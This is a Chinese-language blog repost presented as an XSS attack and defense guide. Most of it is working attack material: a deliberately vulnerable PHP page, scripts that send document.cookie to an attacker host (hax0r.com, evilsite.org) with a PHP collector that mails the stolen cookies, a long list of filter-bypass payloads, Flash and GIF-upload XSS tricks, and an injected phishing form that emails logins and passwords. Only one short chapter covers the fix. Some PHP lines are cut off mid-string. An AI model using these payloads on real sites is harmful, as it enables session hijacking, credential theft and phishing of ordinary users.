文章目錄
XSS攻擊與防范指南... 1
第一章、XSS的定義... 1
第二章、XSS漏洞代碼... 1
第三章、利用XSS盜取cookies. 3
第四章、防范XSS漏洞... 4
第四章、XSS攻擊方法... 4
第六章、利用Flash進(jìn)行XSS攻擊... 6
第七章、上傳文件進(jìn)行XSS攻擊... 7
第八章、利用XSS漏洞進(jìn)行釣魚(yú)... 7
第一章、XSS的定義
從Wikipedia搜索跨站腳本,解釋到跨區(qū)腳本(Cross-zone Scripting或者Cross Site Scripting)是指瀏覽器利用瀏覽器一些有漏洞的安全解決方案,這種攻擊使沒(méi)有權(quán)限跨站腳本在未經(jīng)授權(quán)的情況下以較高的權(quán)限去執(zhí)行,腳本的執(zhí)行權(quán)限被客戶(hù)端(Web瀏覽器)擴(kuò)大升級(jí)了。
這些XSS跨站腳本漏洞可能是:
*網(wǎng)頁(yè)瀏覽器設(shè)計(jì)缺陷使得在一定的條件下,一個(gè)站點(diǎn)完全信任另外一個(gè)高權(quán)限的站點(diǎn)(或者連個(gè)高低權(quán)限區(qū)域)并去執(zhí)行高權(quán)限站點(diǎn)的腳本。
*網(wǎng)頁(yè)瀏覽器配置錯(cuò)誤,把不安全的網(wǎng)站放在瀏覽器高信任列表。
*信任站點(diǎn)(特權(quán)區(qū)域)存在跨站腳本漏洞
一般的跨站腳本攻擊包含兩個(gè)步驟。首先是利用跨站腳本漏洞以一個(gè)特權(quán)模式去執(zhí)行攻擊者構(gòu)造的腳本,然后利用不安全的ActiveX控件執(zhí)行惡意的行為。通常在安靜模式讓計(jì)算機(jī)瀏覽攻擊者指定的網(wǎng)頁(yè)悄悄下載安裝各種惡意代碼,如間諜軟件、木馬軟件、蠕蟲(chóng)等。
第二章、XSS漏洞代碼
打開(kāi)記事本,復(fù)制下面的代碼到幾時(shí)本中:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
然后,保存這個(gè)頁(yè)面為index.html。并去復(fù)制下面的代碼到記事本:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>
保存為Xss.php,關(guān)閉記事本。用firefox打開(kāi)index.html,在搜索框里面輸入一串字符串正常搜索,回車(chē)。然后重新在搜索框里輸入<script>alert('XSS')</script>,單擊發(fā)送。這時(shí)候頁(yè)面會(huì)彈出一個(gè)提示窗口。這就是跨站腳本漏洞。
第三章、利用XSS盜取cookies
在一個(gè)有漏洞的頁(yè)面插入下面的代碼,例如一個(gè)留言本里
<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = 攻擊者的網(wǎng)站)
用記事本新建文件: cookie.php,把下面的代碼拷貝到文件里來(lái)。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli

<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>
這樣是僅僅不夠的,還要去等待收到電子郵件,閱讀讀盜取到的cookie。
第四章、防范XSS漏洞
如何修復(fù)這個(gè)漏洞呢?
我們可以使用htmlentities函數(shù)來(lái)修復(fù)這個(gè)漏洞。在替換上面的XSS.php第16行:
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
為:
<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
還可以使用php的內(nèi)置函數(shù)htmlspecialchars(),還有其他函數(shù)htmlentities()、strip_tags()等。
第四章、XSS攻擊方法
利用XSS進(jìn)行攻擊是一件相當(dāng)簡(jiǎn)單的事情,這里主要講幾種攻擊方式……
圖片攻擊:<IMG SRC="http://hax0r.com/Haxored.png">
或者視頻flash:<EMBED SRC= http://hax0r.com/Haxored.swf
還有網(wǎng)站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>
也可以:<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />
繞過(guò)過(guò)濾進(jìn)一步發(fā)現(xiàn)XSS
事實(shí)上繞過(guò)htmlspecialchars()的過(guò)濾是非常簡(jiǎn)單的,這里有一些繞過(guò)過(guò)濾的方法:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'>><marquee><h1>XSS</h1></marquee>
"><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">
window.alert("Xyli !");
"/></a></><img src=1.gif onerror=alert(1)>
[color=red']mouse over
<body
<body>
click me
<script language="JavaScript">alert('XSS')</script>
<img src="javascript:alert('XSS')">
'); alert('XSS
<font style='color:expression(alert(document.cookie))'>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>location.+
escape(document.cookie)</script>
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script>alert('XSS');</script>
<script>alert(1);</script>
這里并不包含了所有的攻擊方法,Google是你的好朋友,可以通過(guò)它找到更多的方法。
第六章、利用Flash進(jìn)行XSS攻擊
Flash是用于復(fù)雜的動(dòng)畫(huà),仿真和游戲開(kāi)發(fā)等。非常有趣的是Flash的getURL()動(dòng)作,它可以使我們的頁(yè)面重定向到函數(shù)指定的頁(yè)面,改函數(shù)的語(yǔ)法如下:
getURL(url:String, [window: String,[method:String]])
例如:getURL("http://victime.com/login.php?logout=true","_self");
該函數(shù)的各個(gè)參數(shù)為:
url: 重定向的網(wǎng)站url
window: 設(shè)置重定向的窗口打開(kāi)方式 (_self, _blank…)
method: 請(qǐng)求頁(yè)面的方式 GET 或者 POST
下面運(yùn)用actionscrip來(lái)彈出警告窗口的方法:
getURL("javascript:alert('XSS'");
在2002年的時(shí)候,曾經(jīng)公布這個(gè)函數(shù)的危險(xiǎn)性,例如可以用下面的方式來(lái)獲取瀏覽者的cookie:
getURL("javascript:alert(document.cookie)")
在2005年12月的時(shí)候,對(duì)getURL()進(jìn)行了改進(jìn),改進(jìn)了在flash文件簽名中輸入XSS語(yǔ)句從而導(dǎo)致永久性XSS攻擊的漏洞。官方采用這種更新是為了防止再次爆發(fā)MySpace中傳播Samy Xss蠕蟲(chóng),Samy可以隱藏在flash中盜取cookies。
但是這樣的更新就解決了XSS嗎?不,目前還沒(méi)有完全解決flash的XSS問(wèn)題,下面的例子來(lái)說(shuō)明,在flash文件中輸入:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
Haxored.js中的代碼如下:
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
當(dāng)然最為簡(jiǎn)單的安全解決方案就是不要在網(wǎng)站中使用flash。
第七章、上傳文件進(jìn)行XSS攻擊
在畫(huà)圖工具里創(chuàng)建一個(gè)Haxored.gif圖片,然后用記事本打開(kāi)它,刪除所有行并插入下面的內(nèi)容:
GIF89a<script>alert("XSS")</script>
保存并關(guān)閉它。
然后把Haxored.gif上傳到一個(gè)免費(fèi)的圖片網(wǎng)站上,再查看你的圖片,XSS就產(chǎn)生了……不要用Mozillia Firefox來(lái)瀏覽圖片,因?yàn)镸ozillia Firefox不能運(yùn)行該腳本,該攻擊適用于Internet explorer瀏覽器。
為什么在腳本前面添加GIF89a呢?一般上傳圖片會(huì)這樣的,在各個(gè).gif文件中檢查是否包含'GIF89a'代碼。這個(gè)通過(guò)檢查文件GIF89a代碼對(duì)上傳結(jié)果進(jìn)行確認(rèn)的漏洞,并沒(méi)有檢查圖片里的惡意代碼。
GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>
要了解其他圖片格式的文件代碼,只需要使用文件編輯器打開(kāi).jpg及其它格式的圖片就可以知道了,例如一個(gè)png格式的文件:‰PNG
PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIF
BMP = BMFÖ
為了安全不能僅僅依靠getimagesize()函數(shù)來(lái)檢查圖片。
第八章、利用XSS漏洞進(jìn)行釣魚(yú)
你了解釣魚(yú)(phishing)的目的嗎?你了解XSS的目的嗎?
在我們的例子中,將有必要找一個(gè)存在XSS漏洞的網(wǎng)站,并在一個(gè)form表單里注入一個(gè)URL重定向的代碼:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
你已經(jīng)猜到這個(gè)腳本將冒充一個(gè)form表單來(lái)發(fā)送用戶(hù)名及密碼給代你,下面的php文件是用來(lái)發(fā)送email的(mail.php):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli

?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
用戶(hù)提交后看到這個(gè)頁(yè)面會(huì)認(rèn)為網(wǎng)頁(yè)等待與超載是正常的,而不會(huì)有所懷疑什么,我相信你已經(jīng)明白這個(gè)道理了?
轉(zhuǎn)自: http://www.iteye.com/topic/754330
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號(hào)聯(lián)系: 360901061
您的支持是博主寫(xiě)作最大的動(dòng)力,如果您喜歡我的文章,感覺(jué)我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對(duì)您有幫助就好】元
